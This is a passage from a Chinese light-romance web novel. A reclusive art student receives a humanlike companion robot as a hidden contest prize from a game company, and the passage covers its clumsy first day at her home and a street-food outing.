《这奖品能退吗?》
1. 巨型大包裹
20xx年
“今日头版新闻:赛恩斯集团研发的陪伴型机器人现已大有进展。”
“赛恩斯集团与当今最热门的游戏公司给木合作,旨在研发出一款可以满足大众情感需求的陪伴型机器人。”
“该型号机器人可以满足大部分独居人士的情感空缺,比起琐碎的人际交往或者需要大部分时间去维系的人际关系,这种存粹的情感沟通更为省时省力。”
…
基于现如今社会现状,人们生活节奏快,压力大,很多人没时间也没经历去社交,更别说谈恋爱,毕竟加班是大多数人的日常常态,好不容易获得的休息日,人们有时候更愿意独自在家充电,但可能,又会感到些许孤单。
在和孤独相依为伴还是花费时间精力去维系感情的纠结中,或许每个人都有自己的衡量标准吧。
但是,对于初晩黎这种顶级宅女而言,和自己独处才是最放松最快乐的。
大学浑浑噩噩的不知怎么就快毕业了,比起别人忙碌而又充实的大学生活,她则是两点一线,学校,家,这样日常反复。
找工作?反正也还没毕业,考研?书倒是买了很多,甚至还有些封皮都没撕开。唯一多次翻开的单词书,始终还在abandon那一页。
大四除了毕业那些,也没太多事。比如今天,完成了今天的论文计划后,初晩黎就打开了自己的游戏机。
《重生之我是恶役千金》,是给木游戏公司当下热门的游戏,它以男主精致的立绘和配音而出圈,甚至还吸引了很多现充玩家。
“给木游戏公司快倒闭吧”许多男性倒是对此游戏颇有不满,原因嘛,大多都是觉得自己的女友老婆,因为迷上其中的人物,而对自己开始漠不关心了。
“自从我女朋友爱上那个给木出的那个什么鬼游戏,就游戏里的那个什么黄毛角色,我有次发烧,她在我边上不管我就算了,还在边上看着屏幕里的黄毛傻笑,给了我个冰毛巾让我自生自灭。”
“是啊是啊,我对象也是,上次喝醉了,还抱着屏幕亲,我扯都扯不开。”
…
最近论坛里,类似这样的发言还挺多。
不过对于受众群体的玩家本身而言,是真的香。游戏里的男主不论从性格还是长相,都是可以称之为梦中情人的程度。
温柔体贴的邻家大哥哥,像小太阳一样粘人的年下弟弟,略有些偏执对你完全无法放手的病娇形象…应有尽有。
只可惜,初晩黎快把这个游戏的剧情推完了,那也就意味着,又得物色新的游戏了。
…
“恭喜您,达成隐藏结局。”
好的,这游戏没想到今天一个小时不到就通关了,连隐藏线的结局都拿到手了,看起来是时候和这个游戏里的小可爱们告别了。
“A1机器人研发进展大爆料…”手机里这时候倒是恰好跳出了一条消息,是关注的给木公众号发的消息,要不是是给木公众号这几个字,真像什么诈骗信息,不过反正与自己无关,初晩黎看都没看仔细,直接叉掉了它。
“远离陌生信息和电话,线上诈骗骗不到我!”这是初晩黎的上网小口诀。别说什么电话诈骗了,她手机常年静音不说,就算玩着手机,看到陌生电话也是直接挂断的,为此,初妈也是挺头疼的,经常打不通她的电话。
三月的a市,本就阴雨连绵,若不好好透气,是墙上能够长出菌类王国的程度,所以每年到了这个时候就会让人觉得关节有些不自在的难受。
不得不说自从上了大学,初晩黎这身体是一年不如一年,大一大二忙的像个陀螺,一天到头也不知道在忙啥,大三则是作业多到令人发指
这好不容易熬到大四,这什么腰腿疼痛,颈椎病,腰椎间盘突出也都来了。
导致像现在打个游戏时间久了,都浑身不舒服。
懒洋洋的离开电脑桌,拖着沉重的脚步,瘫到了旁边的沙发上,准备刷刷手机,这悠哉悠哉的生活也持续不了太久了,“有什么想吃的没有。”手机的通知栏里有条1个小时前的信息,是初妈发来的,初妈因为工作经常出差,回来时常给初晩黎带些好吃的。
看来又错过了一次让初妈带回美食的机会。
“随便,蛋糕之类的最好。”不过初晩黎属于随便派,初妈问她大都也就是走个形式,她这回答了跟没回答没什么区别,除非,是她不爱吃的东西。
手机刷了刷社交软件,看着大部分同龄人都在内卷,努力考研的,到处找工作的,似乎在这个年纪,奋发图强才是最好的。
可她只想先慢悠悠的体会人生,等到毕业了再去思考也不迟。
初晩黎就是个比较佛系的性格,从小到大,别人努力熬夜通宵的时候,她写完作业就去追番打游戏,最多每次快考试,才去所谓复习复习,成绩倒也还看得过去。
比起那种相互竞争的学习生活,她更喜欢平淡点的,该学学该玩玩,什么通宵学习,除非作业多的写不完,通宵打游戏倒是可以。
人嘛,放过自己,轻松一辈子。
许多人从小到大就像被强行拧上发条的娃娃,无时无刻都被迫拧动发条,必须不停的前行,不知疲惫,不知疼痛,只是要向前。
为什么如此呢?或许有人问过自己这个问题,也或许没有,大多只是因为周围人大抵都是如此,环境使然罢了。
大人们会告诉你,小孩子的主要任务就是读书,等你长大,主要任务就是工作,在等你成熟些,成家立业就是你的任务,我们终其一生被所谓不知谁立下的任务所限制,被控制在这个名为同龄人都是如此的牢笼中。
有去看看春天到来时的鸟语花香吗,有在夏天的夜晚,吹着晚风停下来看看星空吗,亦或者看看被秋天染红的枫叶,或冬天的银装素裹。
因为过于忙碌疲惫,所错失生活中的小确幸,儿时所追求的最简单的幸福无非就是快乐,但也早都因为生存而被抛在脑后。
不过像初晚黎每天这样轻松的度过,好像生活也不太有意思,少了点激情,提前进入养老生活的感觉。
这其中的最大受益者应该就是她家的猫——木木,自初晩黎初中开始养它,除了上学时间和偶尔几次旅游,基本与他每天都是形影不离。
说来也巧,可能是动物的天性,但凡木木不喜欢的人,最后和初晩黎大都是不欢而散。
初晩黎摸了摸在她边上母鸡蹲的木木,反正也不知道干吗,拿出结了一层灰的数位板,干脆画张游戏的同人图吧。
最近大多数人游戏都快推完主线了,所以趁着这时机,给木游戏的官网就发出了活动,征集游戏的周边产物,据说本次还有超级无敌大奖。
身为艺术系的学生,凭借自己平时练就的技术宅属性,初晩黎在画手圈还算小有名气。
她经常参加这种活动,本着拿到点小奖给木木赚零食钱的心态,倒的确时常能拿点小奖次。
所以或许在木木眼里,她就是一个会带来各种美食和奇珍异宝的神仙吧,初晩黎这么想着,心中也满是自豪,嘴角不自觉微微上扬。
…
经过初晩黎几天佛系的奋战,终于画完了这一张同人图。
“上传上传。”这张画的质量而言,大奖是没什么戏了,但是吧,凑个热闹混个眼熟还是可以的。
而且,不愧是给木的游戏,带着它的话题一上传,点击率就来了。
中奖名单会在7天后发布,初晩黎早已为木木选好了一个小型木质爬架,等拿到的那天,木木肯定很开心。
初晩黎已经开始幻想木木向她投来星星眼,一脸崇拜的模样,这就是养宠人的幸福吧。
…
这几天倒是平平淡淡没什么特别的,直到今天。
连个最低参与奖都没有?
猫爬架看来是没了。
初晩黎看着这些天别人在网上分享拿到的奖品,什么1比1手办,人物q版立牌,最差也有个自选男主小挂件的参与奖,甚至那些拿参与奖的点击率还没自己高,这几天怕是自己运气不佳。
“木木啊~我对不起你啊。”但这丝毫不影响初晩黎对着它猛吸一口,把木木死死抱住然后还亲了几下以表歉意,木木也早已习惯她的发神经,只是轻轻“喵”了一声以表无奈。
“算咯,咱们吃个小罐头!”难得画完张画,而且底下还是有路人甲夸的,当然要庆祝下。
人嘛!活着就很厉害了,当然要时刻奖励自己。
木木吃罐头的话,她自己就点个蛋糕切片好了。
生活就该时刻来点甜!
今天天气也不错,A市前一阵阴雨连绵,雨滴接连不断,下落的频率已然形成一张巨大的雨帘,从窗外看去,只得见来往车辆和路灯一
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片恍惚的光亮,太阳不出来工作后,甚至都有些让人分不清白日黑昼。
难得现在天空放晴,坐在阳台上久违的放空下,阳光照射在玻璃上,光线有些刺眼,不过好在时不时有微风拂过,温度倒是很适宜,她抿了抿刚沏好的茶,香气宜人,就是略有点烫口。
若是现在自己身处在森林小木屋就好了,周身满是郁郁葱葱的树木,沉浸在林海中,空气里都飘散着淡雅的草木香气。
现在嘛,虽说房屋大都是落地窗,但景色索然无味,林立的高楼大厦大都是灰白色调,配上铺好的沥青或是水泥路,整体都是低饱和度灰调,激发不出一点生机与活力,唯一那点绿化带也是一副被刻意修剪过的样子。
“您的快递到了。”手机突然响起,应该是外卖点的小蛋糕?等等不对,快递?
…
不得不说,这么大个封的严严实实的木箱摆在初晩黎家门口的时候,她整个人是懵的。
“您这是买了口棺材?”门口几个快递小哥累的气喘吁吁,就是这吐槽属实有点晦气,不过也怪不得他这么说,这将近2米的高度,而且还是个用钉子钉住的木箱。
“会不会说话啊。”其中小哥A拍了下这个晦气发言的小哥B头,“说不定别人只是有特殊癖好,喜欢睡在棺材里。”说这停顿了一下,“之前不是网上很火吗,很多人模仿吸血鬼睡在棺材里。”
“这样啊~”小哥B若有所思,顺道擦了下额头上不断流下的汗水。
“所以说。”初晩黎回了神,“能麻烦你们搬进来了吗。”他们这思维再发散下去,初晩黎怕是先一步要掐人中了。
“对对对,正事差点忘了。”
…
这么大又重的箱子,都不知道该从哪下手拆。
还好初妈最近出差不在家,不然看到这么个快递,怕不是又要骂初晩黎又瞎买些奇怪玩意儿。
说不准也有可能是初妈的快递?毕竟自己最近钱包瘪了,这么大体积的东西,可不像现阶段她买得起的。
愣了会儿神,她也并不太想去拆这快递,又大又重,简直就是个大工程,想想都麻烦!
所以转身就准备继续回阳台晒太阳了。
“咚咚”木箱里忽然传来了好似拍打的声音。
初晩黎怔在了原地,怀疑自己是不是幻听了,又或者是木木在干什么坏事?
可声音并未停止,而且声源的确来自自己身后,转过头看向木箱,“咚咚”,真的是木箱里传来的。
心中的第一个念头是想跑,但是腿并不听使唤,仿佛石化住了,据说兔子受到惊吓就会呆住不动,浑身僵硬,自己的现状就像那受了惊的兔子。
这么大个箱子里能有敲打声,怕不是,什么妖魔鬼怪,僵尸之类的!
这么想来也很合理,这么大个木箱,还钉的这么紧,是为了封印而制作的木箱。
其实这个世界早已暗波涌动,有邪恶的大反派要复活早已被封印的远古尸体,而这具尸体的主人就是古代邪恶魔法师,现在就等着无辜的炮灰去解开封印!然后,然后毁灭世界!!
咳咳,话题偏了,这是初晩黎前几天摸鱼时候玩的,最近新出的第一人称大作游戏,游戏设定就是远古魔法师的封印被解除,那一瞬间,以他为半径的土地寸草不生,于是身为勇者的你开始拯救世界。
初晚黎冷静下来停止了自己的脑洞模式,说不定只是里面零件被晃动的声音。
不过话说回来,要是有个斧子就好了,一刀劈下去。
现如今的话,只能拿扳手一点点撬动了。
撬了半天,她的手都磨红了,这木头都没任何损伤,还真是结实。
按平常快递的暴力运输来说,木头再怎么样都应该有磨损,这简直不像是普通木头该有的硬度。
“不撬了。”她气的将扳手甩一旁。
撬了半天一个小角都没开不说,刚还觉得春风和煦的天儿,累的初晚黎满身是汗,她准备先去厨房吃点东西补充体力,晚点再撬开这个占位置的破玩意儿。
“别走呀。”箱子里传来了声音。
“?”初晚黎确定是听到了箱子里的声音,不是幻听!这箱子里有人?
自己莫不是陷入了什么人口拐卖事件,给她寄了个活人???
妈妈呀!她此刻又开始害怕,初母要是在家就好了!
2. 中奖了?
活物都不能寄的快递,寄了个活人?好像不符合常理,不过也有可能是什么电子语音?
“你是人吗?”好吧,这样问怪怪的。
“不是。”看来是电子语音那种玩意儿而已,毕竟现在科技发达,短暂对话也是可以做到的。
她一手叉腰一手摸着下巴,满脸愁容,毕竟她也没买电子产品啊。
“放我出去吧,这里好黑。”嚯,它个电子产品还怕黑?
不过话说回来,这个配音倒是挺好听,声音柔和清润,语速不紧不慢,给人一种温文尔雅的感觉。
尽管没有脸,一个帅哥的形象都已经浮现在她脑海中了。
初晚黎身为声控,一时间有点着了魔似得被吸引住了,竟对着电子语音机器聊了起来。
“不是我不放,打不开,打不开啊。”初晚黎撇撇嘴,边说边摇着头,摸了摸这个表面看上去像木头的材质,硬的却跟石头一样。
而且她现在倒是真的很想拆开看看里面是个什么样的小机器,配的声音还真是好听。
“那你让开点。”
初晚黎倒退了几步。
“??”
“木头”被踹裂了?掀起了一阵灰尘不说,旁边的木木本来优雅端坐在一旁看热闹,现如今吓得浑身毛发炸的像个刺猬,一路疾跑进了卧室,还脚滑了下,“Duang”撞到了门上,也顾不上疼痛,飞奔进被窝。
这怕是初晚黎这辈子都难以再次遇见的事情了,箱子里的电子机器把自己的运输包装踹坏了。
为什么说是踹呢。
里面出来了个人形!腿甚至都还没来得及收回,悬在半空中。
难道真的是什么奇怪的人把自己藏到箱子里了?这什么癖好,热衷于密闭空间?也不怕闷死自己啊。
初晚黎愣了几下,鬼使神差向前走了过去,在离“它”有几步距离的地方围着“它”绕了个圈,这看起来就是个真人啊。
完了完了,这掺和进什么黑色地带事件了?自己只是想佛系的过完后半生啊!!!
“你好,初次见面。”对方说起话来倒是语气平和且有礼貌。
初晚黎这才抬头看了看对方,年纪看起来不大,像是自己的同龄人,一双带着笑意的桃花眼正看着自己,鼻子高且立体,唇形饱满,下颚线清晰,脸部骨骼分明。
以美术生的角度来看,它五官标准立体,画起来的话,挺好塑造形象的。
长得好看声音又好听,初晚黎不禁看入了神,眼神毫不闪躲直勾勾看着它,不自觉的嘴角微微勾起。
它这气质文质彬彬的,丝毫不像会踹开那么硬木板的人。
话又说回来,它很可能是个可能会让自己陷入不好事件的人物!
想到这,嘴角又垂了下去。
“你谁。”语气自然变得不太友善,还一副死鱼眼的样子瞪了它一下。
“忘了先自我介绍,我叫苏暮。”面对她火速变化的态度,对方仍旧很有礼貌回答着,丝毫不受初晚黎不愉悦心情的影响。
初晚黎没说话,想了想该怎么接话,不过一个莫名其妙的陌生人,她好像也没有自报家门的必要吧。
何况她一直都是很重视个人隐私的人,哪怕是认识了很久的人,她也不一定会全盘托出自己的信息。
“很高兴见到你,初晚黎小姐。”完了,她先一步愣住,这人还知道自己名字!!!
怕不是有备而来,下一步是不是就要勒索她了。
“你怎么知道?”初晚黎防备心越来越重了,往后小幅度退了几步,甚至手已经摸到手机,准备悄悄报警了。
她仔细观察过了,对方身材高大,自己也才到它肩膀,靠武力解决有点冒险,自己也没有一脚把它踹出门口的信心,万一失败了,说不定反而激起暴力冲突。
“A市xx街道,xxx小区,初晚黎小姐。”它用手轻轻叩了叩太阳穴,若有所思,“我的记忆应该没出问题。”
完了完了真遇到事了啊!!!
对方还了解这么清楚,怕不是哪次扔快递盒子或者点外卖的时候信息被人看见了,或者是哪个地方填个人信息被卖了?
“啊,你别怕。”这话说的让人更害怕了好吧!
尽管苏暮嘴上笑了一个好看的微笑弧度,但是在此时的初晚黎看来,更像是什么狼入虎口得意的笑容。
“我是参赛奖品。”
妈妈呀!谁来救救她,这人脑子还不正常,说了自己的住址隐私还外加一堆摸不着头脑的话。
要不是初晚黎自认控制情绪能力还行,怕不是已经两腿一软吓得坐地上了。
但越是这样,越要装作淡定!不能先一步乱了阵脚。
“我就是给木游戏公司的隐藏大奖。”它看起来怎么说,还挺得意的?
“哈?”所以大奖送男人??
“隐藏大奖,未上市的A2陪伴型机器人。”
“呃”,初晚黎思绪飘向了远处,半天才回了神过来,“你是机器人?”
“对,是市面上即将发行的A1型号的升级版,A2,独一份哦。”对方神情更加自豪了,看来不愧是升级版,臭屁的样子倒是挺拟人化。
初晚黎最近是好像听说,哪个集团开发了人工智能机器人,号称是近些年一大突破,甚至说该机器人已经具有了独自思考的能力。
给木公司本就以少女恋爱游戏发家,很了解用户需要的情感诉求,所以该项目中,A1的人物设定都由其负责。
据说之后还要联名早期的一款游戏,旨在让角色冲破次元壁,让玩家看得到摸得到独属于自己的纸片人。
这生灵活现的实体角色,哪个玩家能够不心动呢。
而且普遍而言,游戏中男主们的性格大都符合玩家心中所希望的另一半形象。
对于一部分人来说,和纸片人谈恋爱可以大胆做自己,不用在这段感情中委曲求全,还能得到需要的情绪价值,毕竟,它们生来就是为了爱你。
尤其对于初晚黎这种母单,本就不大会和异性相处,更别说恋爱。
如果有这种人工智能机器人,相处起来也没太多难度吧,恋爱小白都能体验甜蜜!
不过,她心里也很清楚,这一切的本质也只不过是一些既定好的程序和机械零件。
…
画面切回到初晚黎家中。
“是呀。”叫苏暮的这机器人目不转睛看着她。
“你怎么证明。”怕不是什么提前的愚人节玩笑吧,自己本就容易被骗,还是小心谨慎为妙,最主要网站上也没公示她在中奖名单上啊。
而且这家伙皮肤肌理都这么逼真的?初晚黎想着,手不自觉的戳了一下。
戳完又有些后悔自己行为莽撞,但转念一想不就个机器人,戳戳怎么了!
“我也不知道。”对方露出无辜的表情,随后像是突然想起什么一样,从口袋里掏出了一个小匣子。
黑漆漆的外观,还亮起了微弱的光,“这个也许可以作为证据吧。”
初晚黎接过这个匣子,匣子离开苏暮的那一瞬就立马失去了光芒,颜色也渐退成了棕色,表面显露出木纹,就像个普通木盒一样。
好嘛,现在看起来和那个“木头”包装一模一样了。
就那个“木头”的硬度,根本不用怕什么快递暴力运输。
“沈确说,我每天至少需要这个东西不离身几个小时,才能补充能量来保持这具身体机能正常运转。”
哪又蹦出个不知名人物?苏晚黎的脑子要信息过载了。
“沈确又是谁?”初晚黎扶额,“算了这不重要,他还说什么了。”
“他说一位名叫初晚黎的参赛人中了隐藏大奖,让我作为奖品去她家。”初晚黎再次感慨信息泄露有多严重,“其他的,只要我不闯祸,听她吩咐就好。”然后又掏了掏自己的口袋,“这还有寄件信息。”
这人怎么磨磨唧唧的!先掏了个奇怪高科技匣子,这次又来个重要信息,能不能一次掏完,苏晚黎在心里吐槽。
寄件人:沈确
收件人:初晚黎
地址:A市xx街道,xxx小区
上面还有几句手写的话,
“致初晚黎:恭喜初晚黎小姐获得给木公司本次周边活动的隐藏大奖。
为我司与给木公司即将要上市的A1项目宣传,本人将我的匠心之作--A2交付于你了,为了让他更有真人的感觉,我还给他取了初始名:苏暮。
当然不满意的话你可以随意更改。
——沈确”
这沈确应该就是苏暮的制造者吧?最右下角还印了一个赛恩斯集团的公章。
先不论别的,就苏暮这整体质感,如此逼真的皮肤,甚至眼睫毛和头发都像从毛囊自然长出来的一样,这精致程度肯定价值不菲。
所以~,要是卖出去的话。
初晚黎动了歪心思。
“我可以进去坐着吗?”苏暮在玄关处被苏晚黎挡住了,身子向前倾,往客厅看了看。
“哦哦,请进。”不对,她有必要对非生物体这么客气吗。
“谢谢。”说完,自己还很懂事把它的外包装,就那“木头”箱子轻而易举的搬了出去。
看来这家伙还附加了怪力属性,不知道它对人类的友善度怎么样,毕竟一个机器人嘛~
初晚黎并不认为它会被什么道德感束缚,得罪了它怕不是轻而易举可以让自己脑袋分家,想想看自己身边简直
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就是放了个定时炸弹!
“有什么需要我的地方吗?”苏暮进来后环顾着四周,“沈博士说我的指责就是要陪伴你。像是聊天,打理家务,陪你逛街之类这种具有互动的活动都可以带上我。”
“他怎么知道我不会把你扔出去。”她说这话的时候没好气。
沈确这人也真是奇怪,要是自己想退货怎么办,虽然是奖品,这么大个,多占空间。
“沈确说这就得靠我自己的人格魅力了。”
魅力个鬼,分明是惊吓。
初晚黎二话不说去找了个拖把,免费的劳动力不用白不用,让机器人免费给自己做家务,岂不美哉,“喏,拖地。”
苏暮拿起拖把,刚往地上一挥,拖把头和杆离家了。
苏晚黎仿佛看见了未来自己脑袋的命运——和肢体分家。
“质量不太好。”它还嫌弃起来了,二话不说把分家的拖把扔出门外,然后拍了拍手上并不存在的灰,一系列动作行云流水。
“那可是我自上大学用到现在的拖把啊,我的托托啊。”初晚黎给自己的东西几乎都取了名,比如这个陪伴她快4年的拖把。
“托托?托托是谁?”这玩意儿是什么人工智障啊,“没事,托托离你而去了,但是我一直在,我替它陪着你。”说完它还自以为很通情达理笑了笑。
不都是拜它所赐嘛!苏晚黎这么想着,忍住想要把它扔出去的心。
“拖把没了,不太好清理地板了。”苏暮抬头看了看墙上的时钟,“到午饭时间了,那我来给你做饭吧。”
对方还挺有逻辑,知道到点要吃饭,但是一个机器人能理解美食的标准吗?尝都没尝过,怎么知道好吃不好吃。
初晚黎心里有些没底。
苏暮打开冰箱,边翻边念念有词,“鸡蛋番茄,青椒炒肉。”
你倒是问问我想吃什么啊!初晚黎已经不想开口吐槽了,这好像是它家,“为什么选这些菜?”还是多嘴问了。
“我爱吃。”对方很轻描淡写的飘了句话出来。
到底是谁照顾谁啊!为什么一个机器人还会有自己主观的口味选择,都不问问她的?自己再怎么说现在也算是它这个人工智障的主人了吧!
果然人工智能过于智能,就会变成人工智障。初晚黎得出了她的结论。
只见初晚黎在心中吐槽的功夫,对方已经双手拿起了刀,举过肩。
等下,谁家切菜把刀举过肩。这不劈柴动作?
“你到底会不会做啊!”
“相信我。”
“咚”本就纤薄的案板两节了。
初晚黎因为常年宅家加上不怎么锻炼,所以手劲儿不算大,买的东西也较为轻巧,比如这案板,很薄的一片复合木板,哪里禁得起苏暮的蛮力。
“你家东西质量都不太好。”某人,应该说某机器人,摸了摸自己的下巴若有所思,它还翻来覆去看了看那断掉的案板的正反面。
奈何初晚黎对外人的包容力很强,但脸也已经快黑了,要不是它看起来很贵,自己赔不起,怕是已经动手了送它出门左转了。
“你就坐客厅休息吧!”初晚黎从牙齿缝里蹦出了这几个字,饭吃不上不说,还得先收拾残局。
这个沈确也没留个联系方式,不然自己现在肯定打电话让他接走这个人工智障!!
“喵~”木木在暗处观察了很久后,终于从初晚黎的卧室里钻了出来,似乎确定了面前这个对它而言高大的雄性非生物体无公害。
虽然不是人类,但它也算是雄性吧。
木木尾巴很自然的翘起,一步一步扭着猫步,蹭了蹭沙发和椅子,好像在宣誓自己的主权。
苏暮的认知范围中,虽然还没见过猫这种生物,但大致的习性嘛它还是知道的。
毕竟沈确对于工作方面还是很细心的,常识性的信息基本都给它植入了。
但,目前看来,知道常识也不妨碍它是个家务废柴,至少在力道方面是如此。
木木围着苏暮绕了几个圈,还很友好的蹭了下它的腿。
等初晚黎收拾完厨房的惨剧后,看到的就是一幅暮慈猫孝的画面。
向来只亲近初晚黎的木木,竟然卷成一团,趴在了苏暮的腿上,与此同时,苏暮嘴角也有一些不易察觉的微微上翘,眼神柔和,视线向下看着它。
睫毛的存在感让人无法忽视,刚刚苏晚黎没来得及仔细看。这睫毛蒲扇蒲扇的,真是又翘又长,她自愧不如,自己刷了睫毛膏怕是都没它这么纤长。
这是什么美好画面,美男与猫,养眼!确实养眼!!
初晚黎不大想破坏现在这和谐且唯美的画面,依在墙上轻靠着,觉得时间要是停止在这一秒也挺不错。
3. 大怨种
现如今已过了五六点,但天色还没彻底暗下来,外面的小贩大都出摊了,楼下过往车辆的声音也多了起来,伴随着小孩子说笑的嘻闹声,是属于每个放学下班人回家路上的日常。
往常这个时候,初晚黎反而是最悠闲的,悠闲到有些许孤独的意味在里面,毕竟此时的人们比起清晨的行色匆匆,大都步调缓慢,可能因为是回家,不管路程的远近长久,心里总归是踏实的。
或许是因为终于放松下身心了,也或许是忙完一天可以见到心中想念的人了…
但对于初晚黎而言,回家的路程一直都很漫长,她本应是个快步回家只为拥抱家中床的性子,却每次都不自觉的放慢回家的步调。
儿时是因为,那个勉强称为“家”的地方,充满了火药味,不和谐的因素充斥着她的童年生活,争吵,打闹,家人间相互说着最难听最伤人的话。
所以在路上哪怕走的这一步多耽搁了一秒,对她来说也是可以短暂逃脱的多一秒幸运吧。
后来长大了些,那个称为“家”的地方换了个位置,是个冷冷清清的地方,倒是不会再有争吵,但再也不会像那些普通人家一样,有为她亮起的灯光,有可口的饭菜,有等着她平安归来的家人。
不过好在后来过了没多久,木木就出现在了她的生活中,房间里总算有了些许对白,虽然回应的都是听不懂的“喵喵喵”。
而且每次回家后,打开门,也会不时充满惊喜。
被撕掉头的可怜小熊玩偶,故意刨了一地的猫砂,玩闹时不小心打翻了一地的水,很可恶!
不过有个等待自己回家的活物,总归还是增添了几分温暖。
虽然它不会做饭,会闯祸,也不能沟通,有时甚至故意嚎叫,会在你学习时故意一屁股坐到你面前,挡住你的视线。
但初晚黎觉得比起和那对没什么情分的人住在一起,她还是更愿意和纯粹的小猫咪在一起待着。
俗话说得好嘛,世界破破烂烂,小猫咪拯救之。
基于以上种种原因,木木不喜欢的人,初晚黎多少也会带着有色眼镜,木木喜欢的人嘛,多少也会增加些好感咯,比如眼前和木木相处很好的苏暮,多少让她刚刚嫌弃的想法收敛了些。
她不知道怎么去评判一个机器人的好坏善良与否,至少初晚黎觉得,此刻的苏暮是善良且友好的。
毕竟她相信自家木木的眼光一向是很准的,不过看机器人准不准就不知道了。
“喵”,木木注意到了她,苏暮也顺着木木的视线看了过来。
“你应该饿了吧。”苏暮乘机又摸了摸木木那顺滑的脑袋。
“饿,且没劲。”不说还没感觉,初晚黎现在有气无力顺着墙滑了下去,蹲在地上幽怨盯着罪魁祸首。
“啊,我也饿了。我们干脆出去吃吧。”话说的大言不惭且顺理成章,完全听不出丝毫对刚刚事件的歉意。
“机器人也会饿吗?”逻辑严谨的初晚黎在此时还不忘思考一番。
“饿的。”
“说的好像你能吃东西一样。”
她甚至脑子里都开始想象出那画面,苏暮撕开电池包装后直接咽了下去。
转念一想,也不至于不至于。
如此逼真的拟人机器人,不会做出如此看起来不符合真人的行为。
眼看时间不早,再做饭也没案板切菜,楼下的路边摊嘛,偶尔吃一下也是一种别样情趣,虽然大家都认为不健康,但是过于追求健康也是一种不健康的极端追求不是嘛。
街道上倒是琳琅满目,初晚黎住的地方离a市的大学城很近,这里集中了好几所高校,而她呢正好处于中心地带。
去哪个大学都隔不了几站的距离,所以这几条小吃街任她挑选。
“吃什么好呢。”不得不说这么个大帅哥站在自己边上,回头率还挺高。
说到回头率,那些友善且带着欣喜的回头是对他,带着失望与不甘是对她。
估计是看她站苏暮身边,觉得他已经名花有主了,所以心里失落吧,她也能理解。
“你想吃什么?要不干脆都来一圈怎么样。”看着这熙攘的人群,能说出这种话怕是有些大言不惭。
“那怕是到他们收摊都买不完。”终归还是个机器,丝毫不懂得世道险恶!
这人来人往的人群,浩浩荡荡的队伍。
“看我的!”人潮拥挤,有人过路的时候,常推搡到初晚黎,苏暮直接下意识牵住了她的手,倒的确有效避免了有人时不时想从他俩中间穿过。
她先是很不自在想要甩开,但考虑到如果走散,找人还挺费时费力的,也就任由他牵着了。
不就是个机器人吗,太没出息了,脸红心跳个什么!她强行让自己平静。
“老板,我要一份汤包,给你100块,让我插个队。”
初晚黎这半天下来已经被苏暮的各种不寻常操作惊讶到很多次了,现在更是震惊到瞳孔放大。
哪来的地主家的傻儿子!正经常识没懂多少,歪门邪道倒是溜,好一个用钱贿赂。
几十块的小吃用红彤彤的百元大钞。
就只是为了插队?
初晚黎想赶快捂住他的嘴,垫了垫脚,这家伙腿长的,着实够不太到,然后很快选择放弃。
不过等下。
他哪来的钱,难道要她买单?大怨种最终竟是她自己???
…
“去去去,别添乱了。”队伍中已经有人不满。
“也不知道谁家大少爷跑出来了。”
“是啊,有本事去高级餐厅,别在这种小吃店炫富。”
“你怎么不拿一百块去小卖部,跟小孩子炫去。”嘴巴一个比一个损。
…
能怎么办,纵使初晚黎想护着这个让她社死的二愣子,但她也没一人舌战群儒的口才啊。
尤其,当事人和老板竟然在有效沟通。
“好的嘞,小哥打算要什么口味的。”
“你爱吃什么口味?”
“鲜肉。”
“一笼鲜肉。”苏暮说完还朝人群露出了一个得体且礼貌的微笑,丝毫不在意别人说了什么。
…
初晚黎看着这一笼拎在手上的包子,竟花了一张红彤彤的钞票。
有点胃疼,大致是气的。
她也不知道苏暮的口袋里还有些什么神仙宝贝,百元大钞说掏就掏。
旁边那些刚喷苏暮的人也突然闭了嘴,刚刚竟然都是无效攻击。
没想到他是真有钱。
而且这素质和心态能这么好,估计真的是什么大门不出,不知柴米油盐贵的公子哥。
又或者估计在拍什么街头整蛊?估计有隐藏摄像头,所以一直表现的气度不凡。
毕竟这只是一笼汤包,而且开在这种
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路边,也就十块出头的价格,平常哪能看到个大冤种用一百买,谁的钱又不是大风吹来的,说出去谁信啊。
“小笼包也来一份?”他指指前面不远处的另一家商铺。
不过,这不是商量的口气,只是看似商量的提问罢了。
…
就这样,初晚黎获得了:汤包,小笼包,生煎包,叉烧包,奶黄包…
等一下。
初晚黎今天才注意到,这条街走到现在,连续几个店都是包子铺,几个老板怕是嫌竞争不够激烈吧,同类项开在一起。
干脆叫“包子一条街”得了。
苏暮则一直在使用“超能力”。
初晚黎也懒得去吐槽了,鬼知道他口袋里装了多少百元大钞。
但是这一袋袋扎实的“金价包子”,真的感觉吃下去会胃痛。
不过,现如今的初晚黎也不讲客气了,毕竟对方可是毁了自己厨房的人!吃点他的怎么了,而且是他自己乐意花重金买的。
两口一个包子就往嘴里炫,“诶呦!烫烫烫~”
吃一口他买的包子嘴里都恨不得能被烫出溃疡,怕不是俩人命里犯克。
“慢点~”对方很自然的接过初晚黎手里的筷子,夹了一个生煎包。
明明都是边走边吃着路边摊,初晚黎吃的如此狼狈。
再看看苏暮,虽然站在她身旁,却不像在同一个图层,在同样的路灯光线下,初晚黎就像个路人甲,而他却像站在聚光灯下。
虽然穿着朴素,白色v领衬衣,米色开衫,普通的不能再普通的浅色休闲裤,唯一惹眼的可能就是衬衣扣子少扣了一颗,刚好露出锁骨部分,让人想一探究竟。
主要是这看着身材不错,天生衣架子,是那种传说中披个麻袋都能成秀场模特的范儿。
沈确真是造福人类啊!尤其养她的眼。
嘶,好像有点不对劲。
他怎么能吃东西?
“你怎么能进食?”
“或许因为我是升级版?”他字里行间里透露着自豪。
“要喝点什么嘛。”这话题只是轻轻带过,仿佛无足轻重。
所以现在科技进步到这个程度了吗?
虽然初晚黎不是什么搞科研的,但有些社会新闻她也有在关注的呀,怎么一下子感觉快进化到机器人可以和真人大致无差的样子了。
但这也不是她的专业范围,不了解也正常。
继续吃吧,不吃白不吃!这家伙可是破坏了她厨房的元凶!
…
包子局结束后,就是甜品局,各式各样的小甜水啦,奶茶饮料。
等到初晚黎反应过来的时候,肚子已经快成个皮球了,倒是苏暮,各样东西也都是浅尝一下,大部分基本都进了自己的胃。
俩人的差距啊,一个撑的快要扶墙的地步,一个斯文的点到为止尝尝鲜。
好在,并不是所有店都人满为患,所以初晚黎还是有效劝阻了苏暮的败家行为多次,不然怕是要在那条街上出名了。
第二天店铺老板们的热门话题或许就是有个败家子为了不排队花了大价钱插队。
不过就包子铺那会儿的动静,明天依旧还是会成为热门话题也说不准。
这阵子她应该是不会那个小吃街了。
